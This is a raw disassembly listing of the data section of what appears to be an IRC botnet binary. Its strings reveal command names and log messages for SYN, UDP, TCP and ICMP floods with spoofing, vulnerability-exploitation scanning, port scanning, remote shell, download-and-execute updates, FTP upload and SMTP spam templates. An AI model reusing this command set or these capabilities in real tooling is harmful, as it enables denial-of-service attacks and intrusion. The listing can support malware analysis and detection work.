aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_433ECC db 2 ; DATA XREF: sub_40CE55+4898o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_433EFC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+486Fo
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_433F34 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_4116A8o
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 10h
dword_433F70 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: sub_40CE55+4825o
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_433FA0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55:loc_411646o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_433FE4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+47E7o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_43401C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55:loc_4115E6o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
dword_434064 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+478Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_43409C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55+4749o
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_4340CC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CE55+46C4o
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_434104 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55+4652o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_43412C db 2 ; DATA XREF: sub_40CE55+4637o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0
dword_43417C dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40CE55+45C8o
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: sub_40CE55:loc_4113AEo
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_4341D8 db 2 ; DATA XREF: sub_40CE55+454Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_434208 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+451Eo
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_434234 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+4513o
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_434274 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+44D3o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_4342A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+44BFo
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 10h
dword_4342E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+443Ao
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_43430C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+43FFo
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 10h
dword_434350 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+43E3o
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_434388 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4361o
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_4343B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4326o
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_4343E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+42D0o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_434418 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4268o
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_434440 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CE55+422Eo
; sub_40CE55+4AB2o
dword_43444C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+41FFo
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+41F1o
align 4
dword_434488 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+41C8o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_4344B8 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+415Do
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_4344E8 dd 45444F4Dh, 732520h ; DATA XREF: sub_40CE55+4108o
dword_4344F0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CE55+40D3o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_434520 dd 4B43494Eh, 732520h ; DATA XREF: sub_40CE55+407Do
; sub_40CE55+48F9o
dword_434528 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CE55+405Eo
dword_434534 dd 54524150h, 732520h ; DATA XREF: sub_40CE55+3FF4o
dword_43453C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_410E36o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_434584 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+3FAAo
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40CE55+3F59o
align 4
dword_4345B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_410D66o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_4345E0 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40CE55+3ED1o
; sub_40CE55+3F84o ...
unk_4345F0 db 2 ; DATA XREF: sub_40CE55:loc_410CD5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_434648 db 2 ; DATA XREF: sub_40CE55+3E76o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_434698 db 2 ; DATA XREF: sub_40CE55+3E07o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CE55+3D61o
align 4
dword_4346E4 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
; DATA XREF: sub_40CE55+3D02o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh
dd 732520h
unk_434710 db 2 ; DATA XREF: sub_40CE55+3CE9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_434748 db 2 ; DATA XREF: sub_40CE55+3C61o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_434798 db 2 ; DATA XREF: sub_40CE55+3BE7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_4347DC dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CE55:loc_41099Eo
; sub_40CE55:loc_4115A5o
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347FC db 2 ; DATA XREF: sub_40CE55+3B34o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_434834 db 2 ; DATA XREF: sub_40CE55:loc_410967o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 10h
unk_434880 db 2 ; DATA XREF: sub_40CE55+3B08o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_4348CC db 2 ; DATA XREF: sub_40CE55+3A8Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_43490C db 2 ; DATA XREF: sub_40CE55+3A17o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0
unk_434958 db 2 ; DATA XREF: sub_40CE55+39A8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_43499C db 2 ; DATA XREF: sub_40CE55+3920o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_4349E8 db 2 ; DATA XREF: sub_40CE55+38A8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_434A2C dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CE55+3813o
dd 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_434A78 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CE55+3799o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_434AB8 db 2 ; DATA XREF: sub_40CE55+3729o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_434B0C db 2 ; DATA XREF: sub_40CE55+36BAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_434B4C db 2 ; DATA XREF: sub_40CE55+35EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
unk_434BA0 db 2 ; DATA XREF: sub_40CE55+357Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 10h
unk_434BF0 db 2 ; DATA XREF: sub_40CE55+34F1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_434C40 db 2 ; DATA XREF: sub_40CE55+3482o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CE55+33FEo
align 10h
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CE55+3301o
align 10h
dword_434CB0 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40CE55+3273o
; sub_40CE55+42B1o
dword_434CBC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+3214o
; sub_40CE55+4DA6o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
dword_434D08 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+31A5o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_40CE55+317Ao
; sub_40CE55+4D0Ao
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40CE55+3173o
; sub_40CE55+4D03o
align 4
dword_434D94 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+3035o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start scan, no IP specified.',0
align 10h
dword_434DE0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+2EECo
; sub_40CE55+4B52o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_434E34 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CE55+2EBBo
dd 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_434E80 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CE55+2E4Co
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o
align 4
unk_434EF4 db 2 ; DATA XREF: sub_40CE55+2D70o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_434F40 db 2 ; DATA XREF: sub_40CE55+2D05o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_434F9C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40FABDo
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_434FE8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2C5Eo
dd 2029206Ch, 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_435034 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2BE4o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40CE55+2BD4o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CE55+2BCDo
dword_43508C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CE55+2B38o
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_4350C8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_40F8A5o
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_435108 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55+2A49o
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CE55+2A32o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CE55+2A1Bo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CE55+29FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CE55+29C6o
align 4
dword_435184 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CE55+2948o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CE55+2925o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CE55+2902o
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CE55+28EBo
align 10h
unk_4351E0 db 3 ; DATA XREF: sub_40CE55+28AAo
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ; »
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CE55+2836o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: sub_40CE55+279Ao
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40CE55+274Bo
align 10h
aUsa db 'usa',0 ; DATA XREF: sub_40CE55+2734o
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CE55+271Do
align 4
aPg db 'pg',0 ; DATA XREF: sub_40CE55+2706o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CE55+26EFo
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CE55+26D8o
align 4
aPu db 'pu',0 ; DATA XREF: sub_40CE55+26C1o
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CE55+26AAo
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CE55+2693o
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CE55+2665o
align 10h
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CE55+263Co
align 4
aClone_action db 'clone.action',0 ; DATA XREF: sub_40CE55+2625o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CE55+260Eo
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CE55+25F7o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CE55+25E0o
align 10h
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CE55+25C9o
align 10h
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CE55+25B2o
align 10h
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo
align 4
aD1 db 'd1',0 ; DATA XREF: sub_40CE55+2584o
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do
align 4
aSy1 db 'sy1',0 ; DATA XREF: sub_40CE55+2556o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CE55+253Fo
align 10h
aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CE55+2528o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CE55+2511o
align 10h
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CE55+24FAo
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40CE55+24E3o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40CE55+24CCo
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CE55+24A3o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CE55+248Co
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CE55+2475o
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CE55+245Eo
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CE55+2447o
align 10h
aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CE55+2430o
align 10h
aBox_e db 'box.e',0 ; DATA XREF: sub_40CE55+2419o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CE55+2402o
aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CE55+23EBo
align 4
aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CE55+23D4o
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CE55+23BDo
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CE55+23A6o
align 4
